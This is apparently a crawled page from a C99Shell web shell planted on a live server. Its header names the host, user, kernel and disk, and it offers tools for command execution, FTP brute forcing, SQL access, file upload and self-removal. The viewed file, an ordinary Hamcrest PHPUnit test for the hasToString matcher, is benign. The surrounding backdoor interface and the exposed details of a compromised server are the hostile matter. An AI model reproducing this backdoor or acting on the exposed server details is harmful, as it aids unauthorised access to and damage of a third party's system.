!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ai.picotech.app/public_html/vendor/hamcrest/hamcrest-php/tests/Hamcrest/Core/   drwxr-xr-x
Free 28.9 GB of 117.98 GB (24.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HasToStringTest.php (2.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest\Core;

class 
PhpForm
{
    public function 
__toString()
    {
        return 
'php';
    }
}

class 
JavaForm
{
    public function 
toString()
    {
        return 
'java';
    }
}

class 
BothForms
{
    public function 
__toString()
    {
        return 
'php';
    }

    public function 
toString()
    {
        return 
'java';
    }
}

class 
HasToStringTest extends \Hamcrest\AbstractMatcherTest
{

    protected function 
createMatcher()
    {
        return 
\Hamcrest\Core\HasToString::hasToString('foo');
    }

    public function 
testMatchesWhenToStringMatches()
    {
        
$this->assertMatches(
            
hasToString(equalTo('php')),
            new 
\Hamcrest\Core\PhpForm(),
            
'correct __toString'
        
);
        
$this->assertMatches(
            
hasToString(equalTo('java')),
            new 
\Hamcrest\Core\JavaForm(),
            
'correct toString'
        
);
    }

    public function 
testPicksJavaOverPhpToString()
    {
        
$this->assertMatches(
            
hasToString(equalTo('java')),
            new 
\Hamcrest\Core\BothForms(),
            
'correct toString'
        
);
    }

    public function 
testDoesNotMatchWhenToStringDoesNotMatch()
    {
        
$this->assertDoesNotMatch(
            
hasToString(equalTo('mismatch')),
            new 
\Hamcrest\Core\PhpForm(),
            
'incorrect __toString'
        
);
        
$this->assertDoesNotMatch(
            
hasToString(equalTo('mismatch')),
            new 
\Hamcrest\Core\JavaForm(),
            
'incorrect toString'
        
);
        
$this->assertDoesNotMatch(
            
hasToString(equalTo('mismatch')),
            new 
\Hamcrest\Core\BothForms(),
            
'incorrect __toString'
        
);
    }

    public function 
testDoesNotMatchNull()
    {
        
$this->assertDoesNotMatch(
            
hasToString(equalTo('a')),
            
null,
            
'should not match null'
        
);
    }

    public function 
testProvidesConvenientShortcutForTraversableWithSizeEqualTo()
    {
        
$this->assertMatches(
            
hasToString(equalTo('php')),
            new 
\Hamcrest\Core\PhpForm(),
            
'correct __toString'
        
);
    }

    public function 
testHasAReadableDescription()
    {
        
$this->assertDescription(
            
'an object with toString() "php"',
            
hasToString(equalTo('php'))
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--